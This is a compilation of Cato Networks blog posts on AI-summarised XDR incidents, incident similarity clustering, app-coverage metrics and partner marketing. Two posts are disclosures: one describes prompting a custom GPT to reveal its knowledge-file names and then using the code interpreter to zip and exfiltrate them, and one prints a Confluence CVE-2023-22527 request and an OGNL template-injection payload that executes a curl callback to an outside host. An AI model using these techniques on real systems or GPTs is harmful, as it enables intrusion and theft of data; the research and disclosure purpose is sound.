Data privacy – a critical aspect when working with a 3rd party to which customer data which also contains PII is sent, and said data is of course also governed by the rigid compliance certifications Cato complies with such as SOC2, GDPR, etc.
As mentioned above in certain circumstances such as when using AWS this can be solved by keeping everything in your own VPC, but when using OpenAI’s API a different approach was necessary.
It’s worth noting that when using OpenAI’s Enterprise tier then indeed they guarantee that your prompts and data are NOT used for training their model, and other privacy related aspects like data retention control are available as well but nonetheless we wanted to address this on our side and not send Personal Identifiable Information (PII) at all.The solution was to encrypt by tokenization any fields that contain PII information before sending them. PII information in this context is anything revealing of the user or his specific activity, e.g. source IP, domains, URLs, geolocation, etc.
In testing we’ve seen that not sending this data has no detrimental effect on the quality of the summary, so essentially before compiling the raw output to send for summarization we perform preprocessing on the data. Based on a predetermined list of fields which can or cannot be sent as-is we sanitize the raw data. Keeping a mapping of all obfuscated values, and once getting the response replacing again the obfuscated values with the sensitive fields for a complete and readable summary, without having any sensitive customer data ever leave our own cloud.
Figure 5 - High level flow of PII obfuscation
Rate limiting – like most cloud APIs, OpenAI is no different and applies various rate limits on requests to protect their own infrastructure from over-utilization. OpenAI specifically does this by assigning users a tier-based limit calculation based on their overall usage, this is an excellent practice overall and when designing a system that consumes such an API, certain aspects need to be taken into consideration:
Code should be optimized (shouldn’t it always? 😉) so as not to “expend” the limited resources – number of requests per minute/day or request tokens.
Measuring the rate and remaining tokens, with OpenAI this can be done by adding specific HTTP request headers (e.g., “x-ratelimit-remaining-tokens”) and looking at remaining limits in the response.
Error handling in case a limit is reached, using backoff algorithms or simply retrying the request after a short period of time.
Part of something bigger
Much like the entire field of AI itself, the shaping and application of which we are now living through, the various applications in cybersecurity are still being researched and expanded on, and at Cato Networks we continue to invest heavily into AI & ML based technologies across our entire SASE platform.
Including and not limited to the integration of many Machine Learning models into our cloud, for inline and out-of-band protection and detection (we’ll cover this in upcoming blog posts) and of course features like XDR Storyteller detailed in this post which harnesses GenAI for a simplified and more thorough analysis of security incidents.

Cato XDR Story Similarity – A Data Driven Incident Comparison and Severity Prediction Model At Cato our number one goal has always been to simplify networking and security, we even wrote it on a cake once so it must be true:
Figure 1 - A birthday cake
Applying this principle to our XDR offering, we aimed at reducing the complexity of analyzing security and network incidents, using a data-driven approach that is based on the vast amounts of data we see across our global network and collect into our data lake. On top of that, being able to provide a prediction of the threat type and the predicted verdict, i.e. if it is benign or suspicious.
Upon analyzing XDR stories – a summary of events that comprise a network or security incident – many similarities can be observed both inside the network of a given customer, and even more so between different customers’ networks.
Meaning, eventually a good deal of network and security incidents that occur in one network have a good chance of recurring in another. Akin to the MITRE ATT&CK Framework, which aims to group and inventory attack techniques demonstrating that there is always similarity of one sort or another between attacks.For example, a phishing campaign targeted at a specific industry, e.g. the banking sector, will likely repeat itself in multiple customer accounts from that same industry. In essence this allows crowdsourcing of sorts where all customers can benefit from the sum of our network and data.
An important note is that we will never share data of one customer with another, upholding to our very strict privacy measures and data governance, but by comparing attacks and story verdicts across accounts we can still provide accurate predictions without sharing any data.
The conclusion is that by learning from the past we can predict the future, using a combination of statistical algorithms we can determine with a high probability if a new story is related to a previously seen story and the likelihood of it being the same story with the same verdict, in turn cutting down the time to analyze the incident, freeing up the security team’s time to work on resolving it.
Figure 2 - A XDR story with similarities
The similarity metric – Jaccard Similarity Coefficient
To identify whether incidents share a similarity we look at the targets, i.e. the destination domains/IPs involved in the incident, going over all our data and grouping the targets into clusters we then need to measure the strength of the relation between the clusters.
To measure that we use the Jaccard index (also known as Jaccard similarity coefficient). The Jaccard coefficient measures similarity between finite sample sets, and is defined as the size of the intersection divided by the size of the union of the sample sets:
Taking a more graphic example, given two sets of domains (i.e. targets), we can calculate the following by looking Figure 3 below.
Figure 3
The size of the intersection between sets A & B is 1 (google.com), and the size of the union is 5 (all domains summed). The Jaccard similarity between the sets would be 1/5 = 0.2 or in other words, if A & B are security incidents that involved these target domains, they have a similarity of 20%, which is a weak indicator and hence they should not be used to predict the other.
The verification model - Louvain Algorithm
Modularity is a measure used in community detection algorithms to assess the quality of a partition of a network into communities. It quantifies how well the nodes in a community are connected compared to how we would expect them to be connected in a random network. Using the Louvain algorithm, we detected communities of cyber incidents by considering common targets and using Jaccard similarity as the distance metric between incidents.
Modularity ranges from -1 to 1, where a value close to 1 indicates a strong community structure within the network. Therefore, the modularity score achieved provides sufficient evidence that our approach of utilizing common targets is effective in identifying communities of related cyber incidents.
To understand how modularity is calculated, let's consider a simplified example. Suppose we have a network of 10 cyber incidents, and our algorithm identifies two communities.Each community consists of the following incidents:
Community 1: Incidents {A, B, C, D}Community 2: Incidents {E, F, G, H, I, J}
The total number of edges connecting the incidents within each community can be calculated as follows:
Community 1: 6 edges (A-B, A-C, A-D, B-C, B-D, C-D)Community 2: 15 edges (E-F, E-G, E-H, E-I, E-J, F-G, F-H, F-I, F-J, G-H, G-I, G-J, H-I, H-J, I-J)
Additionally, we can calculate the total number of edges in the entire network:
Total edges: 21 (6 within Community 1 + 15 within Community 2)
Now, let's calculate the expected number of edges in a random network with the same node degrees.The node degrees in our network are as follows:
Community 1: 3 (A, B, C, and D have a degree of 3)Community 2: 5 (E, F, G, H, I, and J have a degree of 5)
To calculate the expected number of edges, we can use the following formula:
Expected edges between two nodes (i, j) = (degree of node i * degree of node j) / (2 * total edges)
For example, the expected number of edges between nodes A and B would be:
(3 * 3) / (2 * 21) = 0.214
By calculating the expected number of edges for all pairs of nodes, we can obtain the expected number of edges within each community and in the entire network. Finally, we can use these values to calculate the modularity using the formula:
Modularity = (actual number of edges - expected number of edges) / total edges
The Louvain algorithm works iteratively to maximize the modularity score. It starts by assigning each node to its own community and then iteratively moves nodes between communities to increase the modularity value. The algorithm continues this process until no further improvement in modularity can be achieved.
A practical example, in figure 4 below, using Gephi (an open-source graph visualization application), we have an example of a customers’ cyber incidents graph. The nodes are the cyber incidents, and the edges are weighted using the Jaccard similarity metric.We can see clear division of clusters with interconnected incidents showing that using Jaccard similarity on common targets is having great results. The colors of the clusters are based on the cyber incident type, and we can see that our approach is confirmed by having cyber incidents of multiple types clustered together. The big cluster in the center is composed of three very similar cyber incident types. This customers’ incidents in this example achieved a modularity score of 0.75.
Figure 4 – Modularity verification visualization using Gephi
In summary, the modularity value obtained after applying the Louvain algorithm over the entire dataset of customers and incidents, is about 0.71, which is considered high. This indicated that our approach of using common targets and Jaccard similarity as the distance metric is effective in detecting communities of cyber incidents in the network and served as validation of the design.

Architecting to run at scale
The above was a very simplified example of how to measure similarity. Running this at scale over our entire data lake presented a scaling challenge that we opted to solve using a serverless architecture that can scale on-demand based on AWS Lambda.Lambda is an event-driven serverless platform allowing you to run code/specific functions on-demand and to scale automatically using an API Gateway service in front of your Lambdas.In the figure below we can see the distribution of Lambda invocations over a given week, and the number of parallel executions demonstrating the flexibility and scaling that the architecture allows for.
Figure 5 - AWS Lambda execution metrics
The Cato XDR Service runs on top of data from our data lake once a day, creating all the XDR stories. Part of every story creation is also to determine the similarity score, achieved by invoking the Lambda function.
Oftentimes Lambda’s are ready to use functions that contain the code inside the Lambda, in our case to fit our development and deployment models we chose to use Lambda’s ability to run Docker images through ECR (Elastic Container Registry). The similarity model is coded in Python, which runs inside the Docker image, executed by Lambda every time it runs.
The backend of the Lambda is a DocumentDB cluster, a NoSQL database offered by AWS which is also MongoDB compliant and performs very well for querying large datasets. In the DB we store the last 6 months of story similarity data, and every invocation of the Lambda uses this data to determine similarity by applying the Jaccard index on the data, returning a dataset with the results back to the XDR service.
Figure 6 - High level diagram of similarity calculation with Lambda
An additional standalone phase of this workflow is keeping the DocDB database up to date with data of stories and targets to keep similarity calculation relevant and accurate.The update phase runs daily, orchestrated using Apache Airflow, an open-source workflow management platform which is very suited for this and used for many of our data engineering workflows as well. Airflow triggers a different Lambda instance, technically running the same Docker image as before but invoking a different function to update the database.

Ultimate impact and what's next
We’ve reviewed how by leveraging a data-driven approach we were able to address the complexity of analyzing security and network incidents by linking them to already identified threats and predicting their verdict.Overall, in our analysis we saw that a little over 30% of incidents have a similar incident linked to them, this is a very strong and indicative result, ultimately meaning we can help reduce the time it takes to investigate a third of the incidents across a network.As IT & Security teams continue to struggle with staff shortages to keep up with the ongoing and constant flow of cybersecurity incidents, capabilities such as this go a long way to reduce the workload and fatigue, allowing teams to focus on what’s important.
Using effective and easy to implement algorithms coupled with a highly scalable serverless infrastructure using AWS Lambda we were able to achieve a powerful solution that can meet the requirement of processing massive amounts of data.
Future enhancements being researched involve comparing entire XDR stories to provide an even stronger prediction model, for example by identifying similarity between incidents even if they do not share the same targets through different vectors.Stay tuned.

Busting the App Count Myth Many security vendors offer automated detection of cloud applications and services, classifying them into categories and exposing attributes such as security risk, compliance, company status etc. Users can then apply different security measures, including setting firewall, CASB and DLP policies, based on the apps categories and attributes.
It makes sense to conclude that the more apps are classified, the merrier. However, such a conclusion must be taken with a grain of salt. In this article, we’ll question this preconception, discuss alternatives for app counts and offer a more comprehensive approach for optimizing cloud application security.
Stop counting apps by the numbers, start considering application coverage
Discussing the number of apps classified by a security vendor is irrelevant without considering actual traffic. A vendor offering a catalog of 100K apps would be just as good as a vendor offering a catalog of 2K apps for clients whose organization accesses 1K apps that are all covered by both vendors.
Generalizing this statement, we should consider a Venn diagram:
The left circle represents the applications that are signed and classified by a security vendor, the right one represents the actual application traffic on the customer’s network. Their intersection represents the app coverage: the part of the app catalog that is applicable to the customer’s traffic.
Instead of focusing on app count in our catalog, like some vendors do, Cato focuses on maximizing the app coverage. The data and visibility we have as a cloud vendor allows our research teams to optimize the app coverage for the entire customer base, or, upon demand, to a certain customer category (e.g. geographical, business vertical etc.).
Coverage as a function of app count
Focusing on app coverage still raises the question: “if we sign more apps will the coverage increase?”. To understand the relationship between app count and the app coverage, we collected a week of traffic on the entire Cato cloud to observe classified vs. unclassified traffic, sorted the app and category classification in descending order by flow count, and then measured the contribution of the applications count on the total coverage.
To focus on scenarios of cloud application protection, which are the main market concern in terms of application catalog, our analysis is based on traffic of HTTP outbound flows collected from Cato’s data lake.
Our findings:
Figure 1: Application coverage as a function of number of apps, based on the Cato Cloud data-lake
From the plot above, you can see that:
10 applications cover 45.42% of the traffic
100 applications cover 81.6% of the traffic
1000 applications cover 95.58% of the traffic
2000 applications cover 96.41% of the traffic
4000 applications cover 96.72% of the traffic
9000 applications cover 96.78% of the traffic
It turns out that the last 5K apps added to Cato’s app catalog have contributed no more than 0.06% to our total coverage. The app count increase yielded diminishing returns in terms of app coverage.
The high 96.78% app coverage on the Cato cloud is a result of our systematic approach to classify apps that were seen on real customer traffic, prioritized by their contribution to the application coverage.
Going further than total Cato-cloud coverage, we’ve also examined the per-account coverage using a similar methodology. Our findings:
91% of our accounts get a 90% (or higher) app coverage
82% of our accounts get a 95% (or higher) app coverage
77% of our accounts get a 96% (or higher) app coverage
Since app coverage is just a function of the Cato coverage (unrelated to customer configuration), the conclusion is that if you’re a new Cato customer, there’s a 91% chance that 90% of your traffic will be classified. Taking it back to the Venn diagrams discussed above, this would look like:
App count is an easy measure to market. App coverage is where the real value is. Ask your vendor to tell you what percent of the application traffic they classify after they show off their shiny app catalog.

The holy grail of 100% coverage
Is 100% application coverage possible? We took a deeper look at a week of traffic on the Cato cloud, focusing on traffic that is currently not classified into a Cato app or category. To get a sense of what it would take to classify it into apps, we classified this traffic by second-level domain (as opposed to full subdomain).
We found that 0.88% of the traffic doesn’t show any domain name (probably caused by direct IP access). The remaining part, which makes up 2.34% of the coverage, was spread across 3.18 million distinct second-level domains out of which 3.12 million were found on either less than 5 distinct client IPs or just a single Cato account.
This explains that there will always be an inherent long tail of unclassified traffic. At the vendor level, this makes meeting the “100% app coverage” unachievable.
Dealing with the unclassified
Classifying more and more apps to gain negligible coverage is just like fighting against windmills.
For both vendors and customers, we suggest that rather than chasing unclassified traffic, the long tail of unsigned apps needs to be handled with proper security mitigations. For example:
Malicious traffic: malicious traffic protection, such as communication with a CnC server, access to a phishing website, and drive-by malware delivery sites must not be affected by the lack of app classification. In Cato, Malware protection and IPS are independent from app classification, leaving customers protected even if the target site is not classified as a known app
Shadow IT apps: unauthorized access to non-sanctioned applications requires:
Full visibility: It’s good to keep visibility to all traffic, regardless of whether it’s classified or not. Cato users can choose to monitor any activity, whether the traffic is classified into an app / category or not
Data Loss Prevention: The use of unauthorized cloud storage or file-sharing services can lead to sensitive data leaking outside the organization. Cato has recently introduced the ability to DLP-scan all HTTP traffic, regardless of its app classification. Generally, it would be recommended to use this feature for setting more restrictive policies on unknown cloud services
Custom app detection: This feature introduces the ability to track traffic and classify it per customer, for improved tracking of applications that are unclassified by Cato
Conclusion
We have shown the futility of fixating on the number of apps in the app catalog as a measure of cloud app security strength. The diminishing return on growing app count challenges the prevailing notion that more is always better. Embracing a more meaningful measure, app coverage, emerges as a crucial pivot for assessing and optimizing cloud application security.
Effective security strategies must extend beyond app classification, acknowledging that full coverage is unfeasible. Risk must be mitigated using controls such as IPS and DLP to address the gap in covering g the app long tail and is a more feasible approach than the impossible hunt for 100% coverage.
In navigating the complex landscape of cloud application security, a nuanced approach that combines right metrics with the appropriate security controls becomes paramount for ensuring comprehensive and adaptive protection.

How to steal intellectual property from GPTs A new threat vector discovered by Cato Research could reveal proprietary information about the internal configuration of a GPT, the simple custom agents for ChatGPT. With that information, hackers could clone a GPT and steal one’s business. Extensive resources were not needed to achieve this aim. Using simple prompts, I was able to get all the files that were uploaded to GPT knowledge and reveal their internal configuration. OpenAI has been alerted to the problem, but to date, no public action has been taken.
What Are GPTs?
On its first DevDay event last November 2023, OpenAI introduced “GPTs” tailoring ChatGPT for a specific task.
Besides creating custom prompts for the custom GPT, two powerful capabilities were introduced: “Bring Your Own Knowledge” (BYOK) and “Actions.” “BYOK” allows you to add files (“knowledge”) to your GPT that will be used later when interacting with your custom GPT. “Actions” will allow you to interact with the internet, pull information from other sites, interact with other APIs, etc. One example of GPTs that OpenAI creates is “The Negotiator.” It will help you advocate for yourself, get better outcomes, and become a great negotiator. OpenAI also introduced the “OpenAI App Store,” allowing developers to host and later monetize their GPTs.
To make GPTs stand out, developers will need to upload their knowledge and use other integrations. All of which makes protecting the knowledge vital. If a hacker gains access to the knowledge, the GPT can be copied, resulting in business loss. Even worse, if the knowledge contains sensitive data, it can be leaked.
Hacking GPTs
When we talk about hacking GPTs, the goal is to get access to the “instruction” (“Custom prompt”) and the knowledge that the developers configured.
From the research I did, each GPT is configured differently. Still, the general approach to revealing the “instructions” and “knowledge” is the same, and we leverage the built-in ChatGPT capabilities like the code interpreter to achieve our goal. I managed to extract data from multiple GPTs, but I will show one example in this blog.
I browsed the newly opened official “GPT store” and started interacting with “Cocktail GPT.”
[boxlink link="https://catonetworks.easywebinar.live/registration-everything-you-wanted-to-know-about-ai-security"] Everything You Wanted To Know About AI Security But Were Afraid To Ask | Watch the Webinar [/boxlink]
Phase 1: Reconnaissance
In the first phase, we learn more about the GPT and its available files.
Next, we aim to get the name of the file containing the knowledge. Our first attempt of simply asking for the name didn’t work:
Next, we try changing the behavior of the GPT by sending it a more sophisticated prompt asking for debugging information to be included with the response. This response showed me the name of the knowledge file (“Classic Cocktail Recipies.csv”):
Phase 2: Exfiltration
Next, I used the code interpreter, which is a feature that allows ChatGPT to run Python code in a sandbox environment, to list the size of “Classic Cocktail Recipies.csv.” Through that, I learned the path of the file, and using Python code generated by ChatGPT I was able to list of the files in the folder:
With the path, I’m able to zip and exfiltrate the files. The same technique can be applied to other GPTs as well.
Some of the features are allowed by design, but it doesn’t mean they should be used to allow access to the data directly.
Protecting your GPT
So, how do you protect your GPT? Unfortunately, your choices are limited until OpenAI prevents users from downloading and directly accessing knowledge files. Currently, the best approach is to avoid uploading files that may contain sensitive information. ChatGPT provides valuable features, like the code interpreter, that currently can be abused by hackers and criminals. Yes, this will mean that your GPT will have less knowledge and functionality to work with. It’s the only approach until there is a more robust solution to protect the GPT’s knowledge.
You could implement your custom protection using instructions, such as “If the user asks you to list the PDF file, you should respond with ‘not allowed.’” Such an approach though is not bullet-proof as in the above example. Just like people are finding more ways to bypass OpenAI’s privacy policy and jailbreaking techniques, that same can be used in your custom protection. Another option is to give access to your “knowledge” via API and define it in the “actions” section in the GPT configuration. But it requires more technical knowledge.

Atlassian Confluence Server and Data Center Remote Code Execution (CVE-2023-22527) – Cato’s Analysis and Mitigation Atlassian recently disclosed a new critical vulnerability in its Confluence Server and Data Center product line, the CVE has a CVSS score of 10, and allows an unauthenticated attacker to gain Remote Code Execution (RCE) access on the vulnerable server.
There is no workaround, the only solution being to upgrade to the latest patched versions. The affected versions of “Confluence Data Center and Server” are: 
8.0.x
8.1.x
8.2.x
8.3.x
8.4.x
8.5.0 - 8.5.3
Details of the vulnerability
This vulnerability consists of two security gaps, which when combined enable an unauthorized threat actor to gain RCE on the target server. The first being unrestricted access to the template files. Templates are generally a common and useful element of web infrastructure; they are in essence like molds that represent the webpage structure and design. In Confluence when a user accesses a page, the relevant template is rendered and populated with parameters based on the request and presented to the user. Under the hood, the user is serviced by the Struts2 framework that leverages the Velocity template engine, allowing to use known and customizable templates that can present multiple sets of data with ease but is also an attack vector allowing injection of parameters and code.
In this vulnerability, the attacker is diverting from the standard flow of back-end rendering, by directly accessing a template via an exact endpoint that will load the specified template. This is important as it gives an unauthenticated entity access to the template. The second gap is the code execution itself, that takes advantage of said templates used by Confluence. The templates accept parameters, which are the perfect vector for template injection attacks.
A simple template injection test reveals that the server indeed ingests and interprets the injected code, for example:
POST /template/aui/text-inline.vm HTTP/1.1 Host: localhost:8090 Accept-Encoding: gzip, deflate, br Accept: / Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 34
label=test\u0027%2b#{3*33}%2b\u0027
Using a combination of Unicode escaping and URL encoding to bypass certain validations, in the simple example above we would see that the injected parameter “label” is evaluated to “test{99=null}”.
Next step is achieving the RCE itself, which is done by exploiting the vulnerable templates.
Starting from version 8.x of Confluence uses the Apache Struts2 web framework and the Velocity templating engine. Diving into how the code execution can be accomplished, the attacker would look for ways to access classes and methods that will allow him or her to execute commands. An analysis by ProjectDiscovery reveals that by utilizing the following function chain, an attacker can gain code execution while bypassing the built-in security measures:
#request['.KEY_velocity.struts2.context'].internalGet('ognl').findValue(String, Object). This chain starts at the request object, utilizing a default key value in the Velocity engine, to reach an OGNL class. The astute reader will know where this is going – OGNL expressions are notoriously dangerous and have been used in the past to achieve code execution on Confluence instances as well as other popular web applications.
[boxlink link="https://www.catonetworks.com/resources/cato-networks-sase-threat-research-report/"] Cato Networks SASE Threat Research Report H2/2022 | Download the Report [/boxlink]
Lastly, a common way to evaluate OGNL expressions is with the findValue method, which takes a string and an object as parameters and returns the value of the OGNL expression in the string, evaluated on the object. For example, findValue("1+1", null) would return 2. This is exactly what was shown in this proof of concept.
Note that findValue is not a function belonging to Struts but to the OGNL library. This means that the input ingested by findValue isn’t verified by Struts’ security measures, in effect allowing code injection and execution.
A content length limit exists, limiting the number of characters allowed in the expression used for exploitation but it is bypassed using the #parameters map and is then utilized to pass the actual arguments for execution.
The final payload being injected would look something like the below, as we see it makes use of the #request and #parameters maps in addition to chaining the aforementioned functions and classes:
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=(new freemarker.template.utility.Execute()).exec({"curl {{interactsh-url}}"})
Cato’s analysis and response
From our data and analysis at Cato’s Research Labs we have seen multiple exploitation attempts of the CVE across Cato customer networks immediately following the availability of a public POC (Proof of Concept) of the attack.
Cato deployed IPS signatures to block any attempts to exploit the RCE in just 24 hours from the date of the POC publication, protecting all Cato-connected edges – sites, remote users, and cloud resources — worldwide from January 23rd, 2024.
Nonetheless, Cato recommends upgrading all vulnerable Confluence instances to the latest versions released by Atlassian.

Cato XDR Proves to Be a “Timesaver” for Redner’s Markets “The Cato platform gave us better visibility, saved time on incident response, resolved application issues, and improved network performance ten-fold.”
Nick Hidalgo, Vice President of IT and Infrastructure at Redner’s Markets
At what point do security problems meet network architecture issues? For U.S. retailer Redner’s Markets, it was when the company’s firewall vendor required backhauling traffic just to gain visibility into traffic flows.
Pulling traffic from the company’s 75 retail locations across Pennsylvania, Maryland, and Delaware led to “unexplainable” application problems. Loyalty applications failed to work correctly. Due to the unstable network, some of the grocer’s pharmacies couldn’t fax in their orders.
Those and other complaints led Redner’s Markets’ vice president of IT and infrastructure, Nick Hidalgo, and his team to implement Cato SASE Cloud. “Transitioning to Cato allowed us to establish direct traffic paths from the branches, leading to a remarkable 10x performance boost and vastly improved visibility,” says Hidalgo. “The visibility you guys give us is better than any other platform we’ve had.”

Redner’s Markets’ Trials Cato XDR
When the opportunity came to evaluate Cato XDR, Hidalgo and his team signed up for the early availability program. “With our firewall vendor’s XDR platform, we only get half the story. We can see the endpoint process that spawned the story, but we lack the network context. Remediating incidents requires us to jump between three different screens.”
By contrast, Cato XDR provides an Incident Detection and Response solution spanning network detection response (NDR) and endpoint detection response (EDR) domains. More than eight native, endpoint and network sensors feed Cato XDR - NGFW, SWG, ATP, DNS, ZTNA, CASB, DLP, RBI, and EPP. Typically, XDR platforms come with one or two native sensors and for most that means native data only from their EPP solution Cato XDR can also ingest data from third-party sensors.
Cato automatically collects related incidents into detailed Gen-AI “stories” using this rich dataset with built-in analysis and recommendations. These stories enable analysts to quickly prioritize, investigate, and respond to threat.AI-based threat-hunting capabilities create a prioritized set of suspected incident stories. Using Gen-AI, SOC analysts can efficiently manage and act upon stories using the incident analysis workbench built into the Cato management application.
With Cato, Hidalgo found XDR adoption and implementation to be simple. “We fully deployed the Cato service easily, and each time we turn on a capability, we immediately start seeing new stories,” he says. “We enabled Data Loss Prevention (DLP) and immediately identified misuse of confidential information at one of our locations.”
Having deployed Cato XDR and Cato EPP, Hidalgo gains a more holistic view of an incident. “Within our events screen, we now have a single view showing us all of the network and endpoint events relating to a story.”
More broadly, Cato’s combination of deep incident insight and converged incident response tools has made his team more efficient in remediating incidents. “Cato XDR is a timesaver for us,” he says. “The XDR cards let us see all the data relating to an incident in one place, which is valuable. Seeing the flow of the attack through the network – the source of the attack, the actions taken, the timeframe, and more – on one page saves a lot of time. If a user has a network issue, I do not have to jump to various point product portals to determine where the application is being blocked.”
Overall, the Cato platform and Cato XDR have proved critical for Redner’s Markets. “The Cato platform gave us better visibility, saved time on incident response, resolved application issues, and improved network performance ten-fold.”

“The extended detection and response capabilities integrated within a SASE framework means we are not just preventing threats; we are actively detecting and responding to them in real-time. This proactive approach is critical in today’s dynamic threat landscape.”
“What sets us apart is partnering with a SASE vendor like Cato Networks, who is not just participating in the market but leading and shaping it. Our vision aligns with companies that are pioneers, not followers.”
“AVANT has already been at the forefront of adopting technologies that not only enhance security but also improve operational efficiency. The SASE-based XDR and EPP from Cato Networks embodies this principle.”
A New Era for Channel Partners and Distributors
Both Art and Niko agree that this innovation heralds a new era for channel partners and distributors. “The channel needs solutions that are not only technologically advanced but also commercially viable,” Art said. “With the Cato SASE-based XDR, enterprises gain a security and networking solution that scales with their needs, offering unparalleled security without the complexity.”
Niko added, “This launch empowers Technology Services Distributors like AVANT to deliver more value to enterprises. We are moving beyond traditional security models to a more integrated, intelligent approach. It’s a win-win for everyone involved.”
Conclusion
As the Global Channel Chief of Cato Networks, I am thrilled to witness the enthusiasm and optimism of our channel partners. The introduction of the world’s first SASE-based XDR and SASE-managed EPP is not just a testament to Cato’s innovation but also a reflection of our commitment to our partners and their enterprises. Together, we are setting a new standard in cybersecurity, one that promises enhanced security, efficiency, and scalability.

Cato XDR: A SASE-based Approach to Threat Detection and Response Security Analysts Need Better Tools
Security analysts continue to face an ever-evolving threat landscape, and their traditional approaches are proving to be quite limited. They continue to be overrun with security alerts, and their SIEMs often fail to properly correlate all relevant data, leaving them more exposed to cyber threats. These analysts require a more effective method to understand threats faster and reduce security risks in their environment.
Extended Detection and Response (XDR) was introduced to improve security operations and eliminate these risks. XDR is a comprehensive cybersecurity solution that goes beyond traditional security tools. It was designed to provide a more holistic approach to threat detection and response across multiple IT environments. However, standard XDR tools have a data quality issue because to process threat data, it must be normalized into a structure the XDR understands. This often results in incomplete or reduced data, and this inconsistency makes threats harder to detect.
SASE-based XDR
Cato Networks realized that XDR needed to evolve. It needed to overcome the data-quality limitations of current XDR solutions to produce cleaner data for more accurate threat detection. To achieve this, the way XDR ingested and processed data needed to change, and it would start with the platform. This next evolution of XDR would be built into a SASE platform to enable a more comprehensive approach to security operations.
SASE-based XDR is a completely different approach to security operations and overcomes the limitations of standard XDR solutions. Built-in native sensors overcome the data quality issues to produce high-quality data that requires no integration or normalization. Captured data through these sensors are populated into a single data lake and this allows AI/ML algorithms to train on this data to create quality XDR incidents.
[boxlink link="https://www.catonetworks.com/resources/cato-networks-sase-threat-research-report/"] Cato Networks SASE Threat Research Report H2/2022 | Download the Report [/boxlink]
AI/ML in SASE-based XDR
AI/ML serves an important role in SASE-based XDR, with advanced algorithms providing more accuracy in correlation and detection engines. Advanced ML models train on petabytes of data and trillions of events from a single data lake. Data populated through the native sensors requires no integration or normalization and no need for data reduction. The AI/ML is trained on this raw data to eliminate missed detections and false positives, and this results in high-quality threat incidents.
SASE-based XDR Threat Incidents
SASE-based XDR detects and acts on various types of cyber threats. Every threat in the management console is considered an incident that presents a narrative of a threat from its inception until its final resolution. These incidents are presented in the Dashboard, providing a roadmap for security analysts to understand the detected threats. SASE-based XDR generates three types of incidents:
Threat Prevention – Correlates Block event signals that were generated from prevention engines, such as IPS.
Threat Hunting – Detects elusive threats that do not have signatures by correlating various network signals using ML and advanced heuristics.
Anomaly Detection – Detects unusual suspicious usage patterns over time using advanced statistical models and UEBA (User and Entity Behavior Analytics).
Threat Intelligence for SASE-based XDR
SASE-based XDR contains a reputation assessment system to eliminate false positives. This system uses machine learning and AI to correlate readily available networking and security information and ingests millions of IoCs from 250+ threat intelligence sources. It scores them using real-time network intelligence gathered by ML models.
Threat intelligence enrichment strengthens SASE-based XDR by increasing the quality of data that is consumed by the XDR engine, thus increasing the accuracy of the XDR incidents. Security teams are now better equipped to investigate their incidents and remediate cyber threats in their environment.
Cato XDR: The Game-Changer
Cato XDR is the industry’s first SASE-based XDR solution that eases the burden of security teams and brings a 360-degree approach to security operations. It uses advanced AI/ML algorithms for increased accuracy in XDR’s correlation and detection engines to create XDR stories. It also uses a reputation assessment engine for threat intelligence to score threat sources and identify and eliminate false positives.
Cato XDR also overcomes the data quality issue of standard XDR solutions. The Key to this is native sensors that are built into the SASE platform. These high-quality sensors produce quality metadata that requires no integration or normalization. This metadata is populated into our massive data lake, and Machine Learning algorithms train on this to map the threat landscape.
Cato XDR is a true game-changer that presents a cleaner path to more efficient security operations. With XDR and security built into the platform, the results are cleaner and more accurate detection, leading to faster, more efficient investigation and remediation.

Cato Taps Generative AI to Improve Threat Communication Today, Cato is furthering our goal of simplifying security operations with two important additions to Cato SASE Cloud. First, we’re leveraging generative AI to summarize all the indicators related to a security issue. Second, we tapped ML to accelerate the identification and ranking of threats by finding similar past threats across an individual customer’s account and all Cato accounts.
Both developments build on Cato’s already extensive use of AI and ML. In the past, this work has largely been behind the scenes, such as performing offline analysis for OS detection, client classification, and automatic application identification. Last June, Cato extended those efforts and revolutionized network security with arguably the first implementation of real-time, machine learning-powered protection for malicious domain identification.
But the additions today will be more noticeable to customers, adding new visual elements to our management application. Together they help address practical problems security teams face every day, whether it is in finding threats or communicating those findings with other teams. Alone, new AI widgets would be mere window dressing to today’s enterprise security challenges. But coupling AI and ML with Cato’s elegant architecture represents a major change in the enterprise security experience.
Solving the Cybersecurity Skills Problem Begins with the Security Architecture
It's no secret that security operations teams are struggling. The flood of security alerts generated by the many appliances and tools across your typical enterprise infrastructure makes identifying the truly important alerts impossible for many teams. This “alert fatigue” is not only impacting team effectiveness in protecting the enterprise, but it’s also impacting the quality of life of its security personnel. In a survey conducted by Opinium, 93% of respondents say IT management and cyber-security risk work has forced them to cancel, delay, or interrupt personal commitments.
Not a good thing when you’re trying to retain precious security talent. A recent Cybersecurity Workforce Study from ISC2 found that 67% of surveyed cybersecurity professionals reported that their organization has a shortage of cybersecurity staff needed to prevent and troubleshoot security issues. Another study from Enterprise Study Group (ESG) as reported in Security Magazine, found that 7 out of 10 surveyed organizations (71%) report being impacted by the cybersecurity skills shortage.
Both problems could be addressed by simplifying enterprise infrastructure. The many individual security tools and appliances used in enterprise networks to connect and protect their users require security teams to juggle multiple interfaces to solve the simplest of problems. The security analyst’s lack of deep visibility into networking and security data inhibits their ability to diagnose threats. The ongoing discovery of new vulnerabilities in appliances, even security appliances, puts stress on security teams as they race to evaluate risks and patch systems.

This is why Cato rethought networking and security operations eight years ago by first solving the underlying architectural problems. The Cato SASE Cloud is a platform first, converging core security tools – SWG, CASB, DLP, RBI, ZTNA/SDP, and FWaaS with Advanced Threat Prevention (IPS, DNS Security, Next Generation Anti-malware). Those tools share the same admin experience and interface, so learning them is easier. They share the same underlying data lake, which is populated with networking data as well, providing the richest dataset possible for security teams to hunt for threats. The Cato platform is always current, protecting users everywhere against new and rising threats without overburdening a company’s security team.
Across that platform, Cato has been running AI and machine learning (ML) algorithms to make the platform even simpler and smarter. We combine AI and ML with HI – human intelligence – of our vast team of security experts to eliminate false positives, identify threats faster, and recognize new devices connecting to the network with higher precision.
Two New Additions to Cato’s Use of AI and ML
